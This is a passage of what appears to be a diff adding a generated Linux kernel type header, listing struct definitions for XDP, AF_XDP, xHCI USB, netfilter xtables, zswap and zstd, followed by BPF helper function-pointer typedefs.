const void *, size_t, int); +}; + +struct xattr_name { + char name[256]; +}; + +struct xdp_attachment_info { + struct bpf_prog *prog; + u32 flags; +}; + +struct xdp_buff_xsk { + struct xdp_buff xdp; + u8 cb[24]; + dma_addr_t dma; + dma_addr_t frame_dma; + struct xsk_buff_pool *pool; + u64 orig_addr; + struct list_head free_list_node; + struct list_head xskb_list_node; +}; + +struct xdp_bulk_queue { + void *q[8]; + struct list_head flush_node; + struct bpf_cpu_map_entry *obj; + unsigned int count; +}; + +struct xdp_cpumap_stats { + unsigned int redirect; + unsigned int pass; + unsigned int drop; +}; + +struct xdp_desc { + __u64 addr; + __u32 len; + __u32 options; +}; + +struct xdp_dev_bulk_queue { + struct xdp_frame *q[16]; + struct list_head flush_node; + struct net_device *dev; + struct net_device *dev_rx; + struct bpf_prog *xdp_prog; + unsigned int count; +}; + +struct xdp_frame { + void *data; + u16 len; + u16 headroom; + u32 metasize; + struct xdp_mem_info mem; + struct net_device *dev_rx; + u32 frame_sz; + u32 flags; +}; + +struct xdp_frame_bulk { + int count; + void *xa; + void *q[16]; +}; + +struct xdp_mem_allocator { + struct xdp_mem_info mem; + union { + void *allocator; + struct page_pool *page_pool; + }; + struct rhash_head node; + struct callback_head rcu; +}; + +struct xdp_metadata_ops { + int (*xmo_rx_timestamp)(const struct xdp_md *, u64 *); + int (*xmo_rx_hash)(const struct xdp_md *, u32 *, enum xdp_rss_hash_type *); + int (*xmo_rx_vlan_tag)(const struct xdp_md *, __be16 *, u16 *); +}; + +struct xdp_page_head { + struct xdp_buff orig_ctx; + struct xdp_buff ctx; + union { + struct { + struct {} __empty_frame; + struct xdp_frame frame[0]; + }; + struct { + struct {} __empty_data; + u8 data[0]; + }; + }; +}; + +struct xsk_queue; + +struct xdp_umem; + +struct xdp_sock { + struct sock sk; + long: 64; + long: 64; + long: 64; + struct xsk_queue *rx; + struct net_device *dev; + struct xdp_umem *umem; + struct list_head flush_node; + struct xsk_buff_pool *pool; + u16 queue_id; + bool zc; + bool sg; + enum { + XSK_READY = 0, + XSK_BOUND = 1, + XSK_UNBOUND = 2, + } state; + long: 64; + struct xsk_queue *tx; + struct list_head tx_list; + u32 tx_budget_spent; + spinlock_t rx_lock; + u64 rx_dropped; + u64 rx_queue_full; + struct sk_buff *skb; + struct list_head map_list; + spinlock_t map_list_lock; + struct mutex mutex; + struct xsk_queue *fq_tmp; + struct xsk_queue *cq_tmp; + long: 64; + long: 64; + long: 64; +}; + +struct xdp_test_data { + struct xdp_buff *orig_ctx; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + struct xdp_rxq_info rxq; + struct net_device *dev; + struct page_pool *pp; + struct xdp_frame **frames; + struct sk_buff **skbs; + struct xdp_mem_info mem; + u32 batch_size; + u32 frame_cnt; + long: 64; + long: 64; +}; + +struct xdp_txq_info { + struct net_device *dev; +}; + +struct xdp_umem { + void *addrs; + u64 size; + u32 headroom; + u32 chunk_size; + u32 chunks; + u32 npgs; + struct user_struct *user; + refcount_t users; + u8 flags; + u8 tx_metadata_len; + bool zc; + struct page **pgs; + int id; + struct list_head xsk_dma_list; + struct work_struct work; +}; + +struct xfrm_tunnel { + int (*handler)(struct sk_buff *); + int (*cb_handler)(struct sk_buff *, int); + int (*err_handler)(struct sk_buff *, u32); + struct xfrm_tunnel __attribute__((btf_type_tag("rcu"))) *next; + int priority; +}; + +struct xhci_bus_state { + unsigned long bus_suspended; + unsigned long next_statechange; + u32 port_c_suspend; + u32 suspended_ports; + u32 port_remote_wakeup; + unsigned long resuming_ports; +}; + +struct xhci_bw_info { + unsigned int ep_interval; + unsigned int mult; + unsigned int num_packets; + unsigned int max_packet_size; + unsigned int max_esit_payload; + unsigned int type; +}; + +struct xhci_cap_regs { + __le32 hc_capbase; + __le32 hcs_params1; + __le32 hcs_params2; + __le32 hcs_params3; + __le32 hcc_params; + __le32 db_off; + __le32 run_regs_off; + __le32 hcc_params2; +}; + +struct xhci_container_ctx; + +struct xhci_command { + struct xhci_container_ctx *in_ctx; + u32 status; + int slot_id; + struct completion *completion; + union xhci_trb *command_trb; + struct list_head cmd_list; + unsigned int timeout_ms; +}; + +struct xhci_container_ctx { + unsigned int type; + int size; + u8 *bytes; + dma_addr_t dma; +}; + +struct xhci_erst_entry; + +struct xhci_erst { + struct xhci_erst_entry *entries; + unsigned int num_entries; + dma_addr_t erst_dma_addr; +}; + +struct xhci_hcd; + +struct xhci_dbc { + spinlock_t lock; + struct device *dev; + struct xhci_hcd *xhci; + struct dbc_regs *regs; + struct xhci_ring *ring_evt; + struct xhci_ring *ring_in; + struct xhci_ring *ring_out; + struct xhci_erst erst; + struct xhci_container_ctx *ctx; + struct dbc_str_descs *string; + dma_addr_t string_dma; + size_t string_size; + u16 idVendor; + u16 idProduct; + u16 bcdDevice; + u8 bInterfaceProtocol; + enum dbc_state state; + struct delayed_work event_work; + unsigned int poll_interval; + unsigned int resume_required: 1; + struct dbc_ep eps[2]; + const struct dbc_driver *driver; + void *priv; +}; + +struct xhci_device_context_array { + __le64 dev_context_ptrs[256]; + dma_addr_t dma; +}; + +struct xhci_doorbell_array { + __le32 doorbell[256]; +}; + +struct xhci_driver_data { + u64 quirks; + const char *firmware; +}; + +struct xhci_driver_overrides { + size_t extra_priv_size; + int (*reset)(struct usb_hcd *); + int (*start)(struct usb_hcd *); + int (*add_endpoint)(struct usb_hcd *, struct usb_device *, struct usb_host_endpoint *); + int (*drop_endpoint)(struct usb_hcd *, struct usb_device *, struct usb_host_endpoint *); + int (*check_bandwidth)(struct usb_hcd *, struct usb_device *); + void (*reset_bandwidth)(struct usb_hcd *, struct usb_device *); + int (*update_hub_device)(struct usb_hcd *, struct usb_device *, struct usb_tt *, gfp_t); + int (*hub_control)(struct usb_hcd *, u16, u16, u16, char *, u16); +}; + +struct xhci_ep_ctx { + __le32 ep_info; + __le32 ep_info2; + __le64 deq; + __le32 tx_info; + __le32 reserved[3]; +}; + +struct xhci_stream_info; + +struct xhci_ep_priv { + char name[32]; + struct dentry *root; + struct xhci_stream_info *stream_info; + struct xhci_ring *show_ring; + unsigned int stream_id; +}; + +struct xhci_erst_entry { + __le64 seg_addr; + __le32 seg_size; + __le32 rsvd; +}; + +struct xhci_event_cmd { + __le64 cmd_trb; + __le32 status; + __le32 flags; +}; + +struct xhci_file_map { + const char *name; + int (*show)(struct seq_file *, void *); +}; + +struct xhci_generic_trb { + __le32 field[4]; +}; + +struct xhci_port; + +struct xhci_hub { + struct xhci_port **ports; + unsigned int num_ports; + struct usb_hcd *hcd; + struct xhci_bus_state bus_state; + u8 maj_rev; + u8 min_rev; +}; + +struct xhci_op_regs; + +struct xhci_run_regs; + +struct xhci_interrupter; + +struct xhci_scratchpad; + +struct xhci_virt_device; + +struct xhci_root_port_bw_info; + +struct xhci_port_cap; + +struct xhci_hcd { + struct usb_hcd *main_hcd; + struct usb_hcd *shared_hcd; + struct xhci_cap_regs *cap_regs; + struct xhci_op_regs *op_regs; + struct xhci_run_regs *run_regs; + struct xhci_doorbell_array *dba; + __u32 hcs_params1; + __u32 hcs_params2; + __u32 hcs_params3; + __u32 hcc_params; + __u32 hcc_params2; + spinlock_t lock; + u8 sbrn; + u16 hci_version; + u8 max_slots; + u16 max_interrupters; + u8 max_ports; + u8 isoc_threshold; + u32 imod_interval; + int event_ring_max; + int page_size; + int page_shift; + int nvecs; + struct clk *clk; + struct clk *reg_clk; + struct reset_control *reset; + struct xhci_device_context_array *dcbaa; + struct xhci_interrupter **interrupters; + struct xhci_ring *cmd_ring; + unsigned int cmd_ring_state; + struct list_head cmd_list; + unsigned int cmd_ring_reserved_trbs; + struct delayed_work cmd_timer; + struct completion cmd_ring_stop_completion; + struct xhci_command *current_cmd; + struct xhci_scratchpad *scratchpad; + struct mutex mutex; + struct xhci_virt_device *devs[256]; + struct xhci_root_port_bw_info *rh_bw; + struct dma_pool *device_pool; + struct dma_pool *segment_pool; + struct dma_pool *small_streams_pool; + struct dma_pool *medium_streams_pool; + unsigned int xhc_state; + unsigned long run_graceperiod; + struct s3_save s3; + unsigned long long quirks; + unsigned int num_active_eps; + unsigned int limit_active_eps; + struct xhci_port *hw_ports; + struct xhci_hub usb2_rhub; + struct xhci_hub usb3_rhub; + unsigned int hw_lpm_support: 1; + unsigned int broken_suspend: 1; + unsigned int allow_single_roothub: 1; + struct xhci_port_cap *port_caps; + unsigned int num_port_caps; + struct timer_list comp_mode_recovery_timer; + u32 port_status_u0; + u16 test_mode; + struct dentry *debugfs_root; + struct dentry *debugfs_slots; + struct list_head regset_list; + void *dbc; + unsigned long priv[0]; +}; + +struct xhci_input_control_ctx { + __le32 drop_flags; + __le32 add_flags; + __le32 rsvd2[6]; +}; + +struct xhci_intr_reg; + +struct xhci_interrupter { + struct xhci_ring *event_ring; + struct xhci_erst erst; + struct xhci_intr_reg *ir_set; + unsigned int intr_num; + bool ip_autoclear; + u32 isoc_bei_interval; + u32 s3_irq_pending; + u32 s3_irq_control; + u32 s3_erst_size; + u64 s3_erst_base; + u64 s3_erst_dequeue; +}; + +struct xhci_interval_bw { + unsigned int num_packets; + struct list_head endpoints; + unsigned int overhead[3]; +}; + +struct xhci_interval_bw_table { + unsigned int interval0_esit_payload; + struct xhci_interval_bw interval_bw[16]; + unsigned int bw_used; + unsigned int ss_bw_in; + unsigned int ss_bw_out; +}; + +struct xhci_intr_reg { + __le32 irq_pending; + __le32 irq_control; + __le32 erst_size; + __le32 rsvd; + __le64 erst_base; + __le64 erst_dequeue; +}; + +struct xhci_link_trb { + __le64 segment_ptr; + __le32 intr_target; + __le32 control; +}; + +struct xhci_op_regs { + __le32 command; + __le32 status; + __le32 page_size; + __le32 reserved1; + __le32 reserved2; + __le32 dev_notification; + __le64 cmd_ring; + __le32 reserved3[4]; + __le64 dcbaa_ptr; + __le32 config_reg; + __le32 reserved4[241]; + __le32 port_status_base; + __le32 port_power_base; + __le32 port_link_base; + __le32 reserved5; + __le32 reserved6[1016]; +}; + +struct xhci_port { + __le32 *addr; + int hw_portnum; + int hcd_portnum; + struct xhci_hub *rhub; + struct xhci_port_cap *port_cap; + unsigned int lpm_incapable: 1; + unsigned long resume_timestamp; + bool rexit_active; + int slot_id; + struct completion rexit_done; + struct completion u3exit_done; +}; + +struct xhci_port_cap { + u32 *psi; + u8 psi_count; + u8 psi_uid_count; + u8 maj_rev; + u8 min_rev; + u32 protocol_caps; +}; + +struct xhci_regset { + char name[32]; + struct debugfs_regset32 regset; + size_t nregs; + struct list_head list; +}; + +struct xhci_ring { + struct xhci_segment *first_seg; + struct xhci_segment *last_seg; + union xhci_trb *enqueue; + struct xhci_segment *enq_seg; + union xhci_trb *dequeue; + struct xhci_segment *deq_seg; + struct list_head td_list; + u32 cycle_state; + unsigned int stream_id; + unsigned int num_segs; + unsigned int num_trbs_free; + unsigned int bounce_buf_len; + enum xhci_ring_type type; + bool last_td_was_short; + struct xarray *trb_address_map; +}; + +struct xhci_root_port_bw_info { + struct list_head tts; + unsigned int num_active_tts; + struct xhci_interval_bw_table bw_table; +}; + +struct xhci_run_regs { + __le32 microframe_index; + __le32 rsvd[7]; + struct xhci_intr_reg ir_set[128]; +}; + +struct xhci_scratchpad { + u64 *sp_array; + dma_addr_t sp_dma; + void **sp_buffers; +}; + +struct xhci_segment { + union xhci_trb *trbs; + struct xhci_segment *next; + unsigned int num; + dma_addr_t dma; + dma_addr_t bounce_dma; + void *bounce_buf; + unsigned int bounce_offs; + unsigned int bounce_len; +}; + +struct xhci_slot_ctx { + __le32 dev_info; + __le32 dev_info2; + __le32 tt_info; + __le32 dev_state; + __le32 reserved[4]; +}; + +struct xhci_slot_priv { + char name[32]; + struct dentry *root; + struct xhci_ep_priv *eps[31]; + struct xhci_virt_device *dev; +}; + +struct xhci_stream_ctx { + __le64 stream_ring; + __le32 reserved[2]; +}; + +struct xhci_stream_info { + struct xhci_ring **stream_rings; + unsigned int num_streams; + struct xhci_stream_ctx *stream_ctx_array; + unsigned int num_stream_ctxs; + dma_addr_t ctx_array_dma; + struct xarray trb_address_map; + struct xhci_command *free_streams_command; +}; + +struct xhci_transfer_event { + __le64 buffer; + __le32 transfer_len; + __le32 flags; +}; + +union xhci_trb { + struct xhci_link_trb link; + struct xhci_transfer_event trans_event; + struct xhci_event_cmd event_cmd; + struct xhci_generic_trb generic; +}; + +struct xhci_tt_bw_info { + struct list_head tt_list; + int slot_id; + int ttport; + struct xhci_interval_bw_table bw_table; + int active_eps; +}; + +struct xhci_virt_ep { + struct xhci_virt_device *vdev; + unsigned int ep_index; + struct xhci_ring *ring; + struct xhci_stream_info *stream_info; + struct xhci_ring *new_ring; + unsigned int err_count; + unsigned int ep_state; + struct list_head cancelled_td_list; + struct xhci_hcd *xhci; + struct xhci_segment *queued_deq_seg; + union xhci_trb *queued_deq_ptr; + bool skip; + struct xhci_bw_info bw_info; + struct list_head bw_endpoint_list; + int next_frame_id; + bool use_extended_tbc; +}; + +struct xhci_virt_device { + int slot_id; + struct usb_device *udev; + struct xhci_container_ctx *out_ctx; + struct xhci_container_ctx *in_ctx; + struct xhci_virt_ep eps[31]; + struct xhci_port *rhub_port; + struct xhci_interval_bw_table *bw_table; + struct xhci_tt_bw_info *tt_info; + unsigned long flags; + u16 current_mel; + void *debugfs_private; +}; + +struct xol_area { + wait_queue_head_t wq; + atomic_t slot_count; + unsigned long *bitmap; + struct page *page; + unsigned long vaddr; +}; + +struct xor_block_template { + struct xor_block_template *next; + const char *name; + int speed; + void (*do_2)(unsigned long, unsigned long * restrict, const unsigned long * restrict); + void (*do_3)(unsigned long, unsigned long * restrict, const unsigned long * restrict, const unsigned long * restrict); + void (*do_4)(unsigned long, unsigned long * restrict, const unsigned long * restrict, const unsigned long * restrict, const unsigned long * restrict); + void (*do_5)(unsigned long, unsigned long * restrict, const unsigned long * restrict, const unsigned long * restrict, const unsigned long * restrict, const unsigned long * restrict); +}; + +struct xps_map; + +struct xps_dev_maps { + struct callback_head rcu; + unsigned int nr_ids; + s16 num_tc; + struct xps_map __attribute__((btf_type_tag("rcu"))) *attr_map[0]; +}; + +struct xps_map { + unsigned int len; + unsigned int alloc_len; + struct callback_head rcu; + u16 queues[0]; +}; + +struct xsk_buff_pool { + struct device *dev; + struct net_device *netdev; + struct list_head xsk_tx_list; + spinlock_t xsk_tx_list_lock; + refcount_t users; + struct xdp_umem *umem; + struct work_struct work; + struct list_head free_list; + struct list_head xskb_list; + u32 heads_cnt; + u16 queue_id; + long: 64; + long: 64; + long: 64; + long: 64; + struct xsk_queue *fq; + struct xsk_queue *cq; + dma_addr_t *dma_pages; + struct xdp_buff_xsk *heads; + struct xdp_desc *tx_descs; + u64 chunk_mask; + u64 addrs_cnt; + u32 free_list_cnt; + u32 dma_pages_cnt; + u32 free_heads_cnt; + u32 headroom; + u32 chunk_size; + u32 chunk_shift; + u32 frame_len; + u8 tx_metadata_len; + u8 cached_need_wakeup; + bool uses_need_wakeup; + bool unaligned; + bool tx_sw_csum; + void *addrs; + spinlock_t cq_lock; + struct xdp_buff_xsk *free_heads[0]; + long: 64; + long: 64; + long: 64; +}; + +struct xsk_tx_metadata_ops { + void (*tmo_request_timestamp)(void *); + u64 (*tmo_fill_timestamp)(void *); + void (*tmo_request_checksum)(u16, u16, void *); +}; + +struct xt_match; + +struct xt_action_param { + union { + const struct xt_match *match; + const struct xt_target *target; + }; + union { + const void *matchinfo; + const void *targinfo; + }; + const struct nf_hook_state *state; + unsigned int thoff; + u16 fragoff; + bool hotdrop; +}; + +struct xt_af { + struct mutex mutex; + struct list_head match; + struct list_head target; +}; + +struct xt_cgroup_info_v0 { + __u32 id; + __u32 invert; +}; + +struct xt_cgroup_info_v1 { + __u8 has_path; + __u8 has_classid; + __u8 invert_path; + __u8 invert_classid; + char path[4096]; + __u32 classid; + void *priv; +}; + +struct xt_cgroup_info_v2 { + __u8 has_path; + __u8 has_classid; + __u8 invert_path; + __u8 invert_classid; + union { + char path[512]; + __u32 classid; + }; + void *priv; +}; + +struct xt_counters_info { + char name[32]; + unsigned int num_counters; + struct xt_counters counters[0]; +}; + +struct xt_ecn_info { + __u8 operation; + __u8 invert; + __u8 ip_ect; + union { + struct { + __u8 ect; + } tcp; + } proto; +}; + +struct xt_entry_match { + union { + struct { + __u16 match_size; + char name[29]; + __u8 revision; + } user; + struct { + __u16 match_size; + struct xt_match *match; + } kernel; + __u16 match_size; + } u; + unsigned char data[0]; +}; + +struct xt_get_revision { + char name[29]; + __u8 revision; +}; + +struct xt_log_info { + unsigned char level; + unsigned char logflags; + char prefix[30]; +}; + +struct xt_mtchk_param; + +struct xt_mtdtor_param; + +struct xt_match { + struct list_head list; + const char name[29]; + u_int8_t revision; + bool (*match)(const struct sk_buff *, struct xt_action_param *); + int (*checkentry)(const struct xt_mtchk_param *); + void (*destroy)(const struct xt_mtdtor_param *); + struct module *me; + const char *table; + unsigned int matchsize; + unsigned int usersize; + unsigned int hooks; + unsigned short proto; + unsigned short family; +}; + +struct xt_mtchk_param { + struct net *net; + const char *table; + const void *entryinfo; + const struct xt_match *match; + void *matchinfo; + unsigned int hook_mask; + u_int8_t family; + bool nft_compat; +}; + +struct xt_mtdtor_param { + struct net *net; + const struct xt_match *match; + void *matchinfo; + u_int8_t family; +}; + +struct xt_percpu_counter_alloc_state { + unsigned int off; + const char __attribute__((btf_type_tag("percpu"))) *mem; +}; + +struct xt_pernet { + struct list_head tables[11]; +}; + +struct xt_table_info; + +struct xt_table { + struct list_head list; + unsigned int valid_hooks; + struct xt_table_info *private; + struct nf_hook_ops *ops; + struct module *me; + u_int8_t af; + int priority; + const char name[32]; +}; + +struct xt_table_info { + unsigned int size; + unsigned int number; + unsigned int initial_entries; + unsigned int hook_entry[5]; + unsigned int underflow[5]; + unsigned int stacksize; + void ***jumpstack; + unsigned char entries[0]; +}; + +struct xt_tgchk_param; + +struct xt_tgdtor_param; + +struct xt_target { + struct list_head list; + const char name[29]; + u_int8_t revision; + unsigned int (*target)(struct sk_buff *, const struct xt_action_param *); + int (*checkentry)(const struct xt_tgchk_param *); + void (*destroy)(const struct xt_tgdtor_param *); + struct module *me; + const char *table; + unsigned int targetsize; + unsigned int usersize; + unsigned int hooks; + unsigned short proto; + unsigned short family; +}; + +struct xt_tcp { + __u16 spts[2]; + __u16 dpts[2]; + __u8 option; + __u8 flg_mask; + __u8 flg_cmp; + __u8 invflags; +}; + +struct xt_template { + struct list_head list; + int (*table_init)(struct net *); + struct module *me; + char name[32]; +}; + +struct xt_tgchk_param { + struct net *net; + const char *table; + const void *entryinfo; + const struct xt_target *target; + void *targinfo; + unsigned int hook_mask; + u_int8_t family; + bool nft_compat; +}; + +struct xt_tgdtor_param { + struct net *net; + const struct xt_target *target; + void *targinfo; + u_int8_t family; +}; + +struct xt_udp { + __u16 spts[2]; + __u16 dpts[2]; + __u8 invflags; +}; + +struct xts_instance_ctx { + struct crypto_skcipher_spawn spawn; + struct crypto_cipher_spawn tweak_spawn; +}; + +struct xts_request_ctx { + le128 t; + struct scatterlist *tail; + struct scatterlist sg[2]; + struct skcipher_request subreq; +}; + +struct xts_tfm_ctx { + struct crypto_skcipher *child; + struct crypto_cipher *tweak; +}; + +struct xxh32_state { + uint32_t total_len_32; + uint32_t large_len; + uint32_t v1; + uint32_t v2; + uint32_t v3; + uint32_t v4; + uint32_t mem32[4]; + uint32_t memsize; +}; + +struct xxhash64_desc_ctx { + struct xxh64_state xxhstate; +}; + +struct xxhash64_tfm_ctx { + u64 seed; +}; + +struct zap_details { + struct folio *single_folio; + bool even_cows; + zap_flags_t zap_flags; +}; + +struct zbud_header { + struct list_head buddy; + unsigned int first_chunks; + unsigned int last_chunks; +}; + +struct zbud_pool { + spinlock_t lock; + union { + struct list_head buddied; + struct list_head unbuddied[63]; + }; + u64 pages_nr; +}; + +union zen_patch_rev { + struct { + __u32 rev: 8; + __u32 stepping: 4; + __u32 model: 4; + __u32 __reserved: 4; + __u32 ext_model: 4; + __u32 ext_fam: 8; + }; + __u32 ucode_rev; +}; + +struct zpool_driver; + +struct zpool { + struct zpool_driver *driver; + void *pool; +}; + +struct zpool_driver { + char *type; + struct module *owner; + atomic_t refcount; + struct list_head list; + void * (*create)(const char *, gfp_t); + void (*destroy)(void *); + bool malloc_support_movable; + int (*malloc)(void *, size_t, gfp_t, unsigned long *); + void (*free)(void *, unsigned long); + bool sleep_mapped; + void * (*map)(void *, unsigned long, enum zpool_mapmode); + void (*unmap)(void *, unsigned long); + u64 (*total_pages)(void *); +}; + +struct zstd_workspace_manager { + const struct btrfs_compress_op *ops; + spinlock_t lock; + struct list_head lru_list; + struct list_head idle_ws[15]; + unsigned long active_map; + wait_queue_head_t wait; + struct timer_list timer; +}; + +struct zswap_pool; + +struct zswap_entry { + swp_entry_t swpentry; + unsigned int length; + bool referenced; + struct zswap_pool *pool; + unsigned long handle; + struct obj_cgroup *objcg; + struct list_head lru; +}; + +struct zswap_pool { + struct zpool *zpool; + struct crypto_acomp_ctx __attribute__((btf_type_tag("percpu"))) *acomp_ctx; + struct percpu_ref ref; + struct list_head list; + struct work_struct release_work; + struct hlist_node node; + char tfm_name[128]; +}; + +typedef size_t (*ZSTD_blockCompressor)(ZSTD_matchState_t *, seqStore_t *, U32 *, const void *, size_t); + +typedef U32 (*ZSTD_getAllMatchesFn)(ZSTD_match_t *, ZSTD_matchState_t *, U32 *, const BYTE *, const BYTE *, const U32 *, const U32, const U32); + +typedef size_t (*ZSTD_sequenceCopier)(ZSTD_CCtx *, ZSTD_sequencePosition *, const ZSTD_Sequence * const, size_t, const void *, size_t); + +typedef acpi_status (*acpi_exception_handler)(acpi_status, acpi_name, u16, u32, void *); + +typedef acpi_status (*acpi_execute_op)(struct acpi_walk_state *); + +typedef void (*acpi_gbl_event_handler)(u32, acpi_handle, u32, void *); + +typedef acpi_status (*acpi_gpe_callback)(struct acpi_gpe_xrupt_info *, struct acpi_gpe_block_info *, void *); + +typedef acpi_status (*acpi_init_handler)(acpi_handle, u32); + +typedef u32 (*acpi_interface_handler)(acpi_string, u32); + +typedef u32 (*acpi_osd_handler)(void *); + +typedef acpi_status (*acpi_pkg_callback)(u8, union acpi_operand_object *, union acpi_generic_state *, void *); + +typedef acpi_status (*acpi_table_handler)(u32, void *, void *); + +typedef acpi_status (*acpi_walk_aml_callback)(u8 *, u32, u32, u8, void **); + +typedef acpi_status (*acpi_walk_resource_callback)(struct acpi_resource *, void *); + +typedef void amd_pmu_branch_reset_t(void); + +typedef int (*arch_set_vga_state_t)(struct pci_dev *, bool, unsigned int, u32); + +typedef unsigned int (*ata_xlat_func_t)(struct ata_queued_cmd *); + +typedef void (*blake2b_compress_t)(struct blake2b_state *, const u8 *, size_t, u32); + +typedef void blk_log_action_t(struct trace_iterator *, const char *, bool); + +typedef int (*bpf_aux_classic_check_t)(struct sock_filter *, unsigned int); + +typedef u32 (*bpf_convert_ctx_access_t)(enum bpf_access_type, const struct bpf_insn *, struct bpf_insn *, struct bpf_prog *, u32 *); + +typedef unsigned long (*bpf_ctx_copy_t)(void *, const void *, unsigned long, unsigned long); + +typedef unsigned int (*bpf_dispatcher_fn)(const void *, const struct bpf_insn *, unsigned int (*)(const void *, const struct bpf_insn *)); + +typedef unsigned int (*bpf_func_t)(const void *, const struct bpf_insn *); + +typedef void (*bpf_jit_fill_hole_t)(void *, unsigned int); + +typedef int (*bpf_op_t)(struct net_device *, struct netdev_bpf *); + +typedef u32 (*bpf_prog_run_fn)(const struct bpf_prog *, const void *); + +typedef u64 (*bpf_trampoline_enter_t)(struct bpf_prog *, struct bpf_tramp_run_ctx *); + +typedef void (*bpf_trampoline_exit_t)(struct bpf_prog *, u64, struct bpf_tramp_run_ctx *); + +typedef u64 (*btf_bpf_bind)(struct bpf_sock_addr_kern *, struct sockaddr *, int); + +typedef u64 (*btf_bpf_btf_find_by_name_kind)(char *, int, u32, int); + +typedef u64 (*btf_bpf_cgrp_storage_delete)(struct bpf_map *, struct cgroup *); + +typedef u64 (*btf_bpf_cgrp_storage_get)(struct bpf_map *, struct cgroup *, void *, u64, gfp_t); + +typedef u64 (*btf_bpf_clone_redirect)(struct sk_buff *, u32, u64); + +typedef u64 (*btf_bpf_copy_from_user)(void *, u32, const void __attribute__((btf_type_tag("user"))) *); + +typedef u64 (*btf_bpf_copy_from_user_task)(void *, u32, const void __attribute__((btf_type_tag("user"))) *, struct task_struct *, u64); + +typedef u64 (*btf_bpf_csum_diff)(__be32 *, u32, __be32 *, u32, __wsum); + +typedef u64 (*btf_bpf_csum_level)(struct sk_buff *, u64); + +typedef u64 (*btf_bpf_csum_update)(struct sk_buff *, __wsum); + +typedef u64 (*btf_bpf_current_task_under_cgroup)(struct bpf_map *, u32); + +typedef u64 (*btf_bpf_d_path)(struct path *, char *, u32); + +typedef u64 (*btf_bpf_dynptr_data)(const struct bpf_dynptr_kern *, u32, u32); + +typedef u64 (*btf_bpf_dynptr_from_mem)(void *, u32, u64, struct bpf_dynptr_kern *); + +typedef u64 (*btf_bpf_dynptr_read)(void *, u32, const struct bpf_dynptr_kern *, u32, u64); + +typedef u64 (*btf_bpf_dynptr_write)(const struct bpf_dynptr_kern *, u32, void *, u32, u64); + +typedef u64 (*btf_bpf_event_output_data)(void *, struct bpf_map *, u64, void *, u64); + +typedef u64 (*btf_bpf_find_vma)(struct task_struct *, u64, bpf_callback_t, void *, u64); + +typedef u64 (*btf_bpf_flow_dissector_load_bytes)(const struct bpf_flow_dissector *, u32, void *, u32); + +typedef u64 (*btf_bpf_for_each_map_elem)(struct bpf_map *, void *, void *, u64); + +typedef u64 (*btf_bpf_get_attach_cookie_kprobe_multi)(struct pt_regs *); + +typedef u64 (*btf_bpf_get_attach_cookie_pe)(struct bpf_perf_event_data_kern *); + +typedef u64 (*btf_bpf_get_attach_cookie_trace)(void *); + +typedef u64 (*btf_bpf_get_attach_cookie_tracing)(void *); + +typedef u64 (*btf_bpf_get_attach_cookie_uprobe_multi)(struct pt_regs *); + +typedef u64 (*btf_bpf_get_branch_snapshot)(void *, u32, u64); + +typedef u64 (*btf_bpf_get_cgroup_classid)(const struct sk_buff *); + +typedef u64 (*btf_bpf_get_cgroup_classid_curr)(void); + +typedef u64 (*btf_bpf_get_current_ancestor_cgroup_id)(int); + +typedef u64 (*btf_bpf_get_current_cgroup_id)(void); + +typedef u64 (*btf_bpf_get_current_comm)(char *, u32); + +typedef u64 (*btf_bpf_get_current_pid_tgid)(void); + +typedef u64 (*btf_bpf_get_current_task)(void); + +typedef u64 (*btf_bpf_get_current_task_btf)(void); + +typedef u64 (*btf_bpf_get_current_uid_gid)(void); + +typedef u64 (*btf_bpf_get_func_ip_kprobe)(struct pt_regs *); + +typedef u64 (*btf_bpf_get_func_ip_kprobe_multi)(struct pt_regs *); + +typedef u64 (*btf_bpf_get_func_ip_tracing)(void *); + +typedef u64 (*btf_bpf_get_func_ip_uprobe_multi)(struct pt_regs *); + +typedef u64 (*btf_bpf_get_hash_recalc)(struct sk_buff *); + +typedef u64 (*btf_bpf_get_listener_sock)(struct sock *); + +typedef u64 (*btf_bpf_get_local_storage)(struct bpf_map *, u64); + +typedef u64 (*btf_bpf_get_netns_cookie_sk_msg)(struct sk_msg *); + +typedef u64 (*btf_bpf_get_netns_cookie_sock)(struct sock *); + +typedef u64 (*btf_bpf_get_netns_cookie_sock_addr)(struct bpf_sock_addr_kern *); + +typedef u64 (*btf_bpf_get_netns_cookie_sock_ops)(struct bpf_sock_ops_kern *); + +typedef u64 (*btf_bpf_get_netns_cookie_sockopt)(struct bpf_sockopt_kern *); + +typedef u64 (*btf_bpf_get_ns_current_pid_tgid)(u64, u64, struct bpf_pidns_info *, u32); + +typedef u64 (*btf_bpf_get_numa_node_id)(void); + +typedef u64 (*btf_bpf_get_raw_cpu_id)(void); + +typedef u64 (*btf_bpf_get_retval)(void); + +typedef u64 (*btf_bpf_get_route_realm)(const struct sk_buff *); + +typedef u64 (*btf_bpf_get_smp_processor_id)(void); + +typedef u64 (*btf_bpf_get_socket_cookie)(struct sk_buff *); + +typedef u64 (*btf_bpf_get_socket_cookie_sock)(struct sock *); + +typedef u64 (*btf_bpf_get_socket_cookie_sock_addr)(struct bpf_sock_addr_kern *); + +typedef u64 (*btf_bpf_get_socket_cookie_sock_ops)(struct bpf_sock_ops_kern *); + +typedef u64 (*btf_bpf_get_socket_ptr_cookie)(struct sock *); + +typedef u64 (*btf_bpf_get_socket_uid)(struct sk_buff *); + +typedef u64 (*btf_bpf_get_stack)(struct pt_regs *, void *, u32, u64); + +typedef u64 (*btf_bpf_get_stack_pe)(struct bpf_perf_event_data_kern *, void *, u32, u64); + +typedef u64 (*btf_bpf_get_stack_raw_tp)(struct bpf_raw_tracepoint_args *, void *, u32, u64); + +typedef u64 (*btf_bpf_get_stack_sleepable)(struct pt_regs *, void *, u32, u64); + +typedef u64 (*btf_bpf_get_stack_tp)(void *, void *, u32, u64); + +typedef u64 (*btf_bpf_get_stackid)(struct pt_regs *, struct bpf_map *, u64); + +typedef u64 (*btf_bpf_get_stackid_pe)(struct bpf_perf_event_data_kern *, struct bpf_map *, u64); + +typedef u64 (*btf_bpf_get_stackid_raw_tp)(struct bpf_raw_tracepoint_args *, struct bpf_map *, u64); + +typedef u64 (*btf_bpf_get_stackid_tp)(void *, struct bpf_map *, u64); + +typedef u64 (*btf_bpf_get_task_stack)(struct task_struct *, void *, u32, u64); + +typedef u64 (*btf_bpf_get_task_stack_sleepable)(struct task_struct *, void *, u32, u64); + +typedef u64 (*btf_bpf_jiffies64)(void); + +typedef u64 (*btf_bpf_kallsyms_lookup_name)(const char *, int, int, u64 *); + +typedef u64 (*btf_bpf_kptr_xchg)(void *, void *); + +typedef u64 